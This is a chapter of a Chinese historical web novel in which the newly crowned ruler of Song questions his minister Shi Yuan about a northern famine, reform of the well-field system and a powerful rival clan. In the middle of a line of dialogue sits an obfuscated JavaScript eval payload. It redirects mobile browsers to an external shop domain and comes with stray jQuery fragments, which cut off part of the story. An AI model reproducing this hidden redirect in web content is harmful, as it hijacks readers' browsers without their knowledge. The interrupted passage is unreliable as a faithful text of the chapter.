夏末秋初的清晨,商丘的阳光干净明媚,空气干爽,一如他离开新郑时的天气。
子充身着华服骑在马上进入了商丘城,身后簇拥着昨日出迎二十里外的官员及一队兵甲。
他英姿勃发,面容俊朗,目光深邃。时隔九年,他终于以宋国世子的身份回到故国。
他已不是从前年少无忧的世子,也不是之后孤傲冷漠的少年。
他父亲当年的决定,让他经历了难耐的孤独和失去的伤痛。也让他收获了坚实的友情和忠贞的爱情。更让他拥有了不为人知的财富和敏锐的头脑。
曾经心中的仇恨,因子夷的离开而消逝;曾经的爱人,依然还在。
回头看,这一切似乎都得益于他的父亲——曾经他百般不解甚至痛恨,让他寄人篱下的父亲。
如今他明白了父亲的苦心。宋国朝堂,暗流涌动,若他一直久居宫中,不经世事,即使即位,也无法自立,只能受人摆布,生不如死,不如去做一介草民。
他能像如今这般,一半是父亲逼的,一半是子夷逼的。
今日这场面,不知他父亲可曾想到过,却也是他自己始料未及的。虽说,宋国朝堂的情势依旧不明朗,远未达到他曾预想可归来的状态,但一切皆要朝前看。
宋国都城的百姓,日子过得虽不是太苦,但也是在乱世夹缝中艰难求生。他们经受了长久的征战岁月,本已对往后的日子不再有期待。
新君,又让他们对未来有了一丝念想,心里盼着他能将他们拉出痛苦无边的泥潭。
一大早,他们便等在城门大道两侧,要看一看新君的模样。
子充一行人进城时,百姓已在道旁等了半日,累得失了精神,但当马上高大俊朗,气质沉着的新君出现时,大家不禁为之一震,对他心生欢喜,继而为之自豪,欣喜地相互谈论着,似乎对未来美好的生活笃定了几分。
子充被迎入宫中,群臣向他跪拜,立为国君。
他接过内侍递予的玉圭,触感冰凉,沉得惊人。
从今往后,他是宋君。
朝堂上,多是陌生面孔。他认识的,只有大司寇石原。
当年,子充回到商丘时便与他联络,也是因他的暗中协助,才打通了铜矿从南方到中原的通路,并让郑远兵器在中原立足。石原自然也在长葛之战这个大谋划中助了一臂之力。
这次他又积极拉拢一些大臣拥立子充回国即位,以免朝堂落入佞臣之手。
当晚,子充便在殿内私下召见了石原。
殿内的摆设与桌案都同九年前一般,黑漆地面光滑可鉴,他还记得父亲当年在此低头蹙眉的孤独身影。
“老臣参见国君。”
“石大人,免礼。”子充回身扶起石原,“这几年,石大人辛苦了。”
“这都是臣应该做的。”
石原这几年在朝中秘密为子充做事,皆通过线人联络,期间从未见过他本人,但他早已被子充的谋略和才能所折服。此次在新郑与他近距离接触,石原已暗叹新君竟如此沉稳威仪,又不失礼数。虽然子充因姜姑娘一度不愿回国,让他颇费周折,但他对这位新君充满期待。
“父亲走之前,曾于我书信嘱咐,朝堂之中,石大人是可用可信之人,若有机会重回宋国,可找石大人助一臂之力。寡人敬谢石大人为宋国百姓所做的一切。”
“老臣不才,承先君恩德,真是三生有幸。”
石大人回想起子充父亲的种种,心中感慨万千,面色动容,又弯腰行礼。
子充扶起石原的手,笑笑说道:“石大人不老。还可做很多事。”
“为国君做事,是臣的本分。”
“那就说一说饥荒的事吧。”
石原一怔,方到商丘,便谈正事,他心里由衷欣慰。他虽未准备,但那笔账已盘算了数十遍,此刻又在心中复核一遍。
“石大人!”子充见他不语,又叫他一声。
石原回过神来,作揖郑重说道:“北境近月连日暴雨,河水漫溢,本就不多的粟尽数没于水中,三十九邑将颗粒无收。前几年收成也不佳,眼看到了秋收时节,灾民怕是要变流民……”
“灾民数有几何?”子充沉着道。
“老臣细算,三十九邑,约丁口一万,”石原抬头看看子充,继续道,“按每人一年口粮十五石算,一年需粟米十五万石,眼下要筹粮让他们安稳过冬,至少需七万石。”
“缺多少?”
石原沉默片刻,“缺七万石。”
“仓廪如此空虚?”子充看着他,眉头微蹙,心中也不免咯噔一下。
石原慌忙拱手道:“这些年征战不断,年轻的人力都上了战场,田间荒草丛生,自家的私地都无暇打理,哪还有心思种公田?百姓自己吃不饱,国库也征不到一点粮食。再这样下去,即使无灾荒,恐也要出事。”
石原想起这些年宋国的现状,心中感概万千,说得恳切。
“各卿大夫家,可否征些粮?先设法筹集一万石,运去北境。郑国近些年收成一直不错,应可借一些粮。”子充思忖着说道。
“国君新即位,卿大夫们应多少会筹集一些。向郑国借粮的事,下官也一并去安排。”
子充默默点头,“安抚好民心,北境一旦水退,必让他们翻地把菽种下去,来年不至再颗粒无收。”
石原点头称是。
“石大人还有何高见?”子充看向石原。
“臣以为,国君既从郑国来,与郑国关系必将重归于好,没了战事,轻壮劳力都可归于田间,来年收成应该大为好转。”
“除此之外呢?”子充看向石大人,眼神透着犀利。
“这……国君的意思是?”石原有些琢磨不透这位年轻君王的心思。
“他们回去自会尽力于私田,可也会尽力于公田?”
石原心里一惊,的确,即使无战事,百姓也只会继续敷衍公田的劳作。这是长久以来的隐患,只是从未重视,也不知从何下手。
“这……臣不好说……多年来,其实一直都是如此,只是连年征战,掩盖了这原本就存在的问题。”石原小心翼翼地说道。
“原本就存在什么问题?”子充看着石大人额头微渗出的细密汗珠。
石原发觉年轻的新君什么都明白,只是引着他往前走,心中也不再有顾虑。
“井田制盛行已久,大家也都摸清了路子。上面颁布的法令政策,到下面执行就差了意思。百姓对公田的耕种,能糊弄就糊弄,很少会尽心尽力,效率低下,所收税赋也很有限。另外,耕种人口也逐年减少。”
“耕种人口为何减少?寡人听说宋郑边境那些山林中山贼猖獗?
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17628278|202655||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
”
“他们不是国人,自然无资格分得田地。”
“宋国境内应还有不少可开垦的土地,并非耕地不够,为何要限制耕种人口?”
新君说话干脆而直击要害,看来早已暗自调查过这些情况。石原惊于他的严谨和睿智,不知道该如何回复,尴尬紧张地立于一旁不敢言语。
“若井田制有问题,可适当改进。税赋问题,也可斟酌改进。”子充停住话,看向石大人。
“国君英明!”石原重又作揖行礼。
“石大人有何想法?”子充微微一笑,看着石原。
“井田制度建立以来,各国都已沿用百年,虽说这些年显现出的问题越来越多,似乎大家都未细想过如何解决。国君若要率先改革,宋国百姓也应必然能得到收益。趁这机会,百废待兴,倒也是个好时机。”
石原说着,心里忽然有些兴奋。这些年屈于暴政之下,早已习惯畏畏缩缩,见机行事,只求各人太平,根本无暇去想这些治国安邦之事。
“改革也不尽都是好事。既得民心,又利朝堂,才能算做是好事。石大人怎么看?”
“让人尽心于耕种,鼓励那些山贼游民开垦荒地,至于如何激励他们着力于耕种,还有这个税制问题,还需仔细筹划。”
“好,不急!那石大人且回去仔细筹划,草拟一个法子。”
“老臣定尽心着手去办。”
“另外,”子充深沉地看了眼石原,“要动老制度,必会动某些人的利益……”
“臣明白!”石原目光坚定,向子充作揖。
“辛苦石大人。”
“臣为君办事,分内之事。”
“石大人是为民办事。”子充拱手向石原行礼。
石原又作揖回礼。
“明年开春播种前,可否办成?”
石大人看向子充温和中带着些许锐气的眼神,迟疑片刻,低头道:“可。臣必将尽力为之。”
“有劳石大人!另外,石大人可知道华起将军?”
“华将军一直在国君身边,臣自然知晓。”
“他为人诚恳实在,这几年一直在宋国帮寡人办事,最近暂时用不上他,就让他到你那帮忙吧。你那边还兼着大司徒的事,可让他帮你打下手。”
“臣明白,定安排好华将军。”
“雍府那边如何?”
“雍大人这次也是鼎力推举国君回宋即位。最近并无什么异常举动。”
“今天朝中,并未见到他。”子充意味深长道。
“雍大人这些年确是很少来朝。”
“朝中大臣,半数都听他的?”
“他为官多年,早已是位高权重。如今虽挂了个闲职,但家资殷实,又有兵车千乘,自然是有些势力……”
“好。我知道了。你先下去吧。”
石原退出屋子,心下振奋,这是他多年以来第一次觉得浑身充满干劲。他在脑子里盘算着税赋和田地的问题,这是既有利于国家,又惠于百姓的大事。他为新君的才干而感到安心和欣慰,走路竟轻快了几分。
“七万石。”子充在心中默念,低头凝神望着铺于案上的宋国疆域图,北境三十九邑!
他的目光沿着疆域线向西,那是宋郑接壤处,再往西,便是新郑,此时姜非或许正坐在窗前。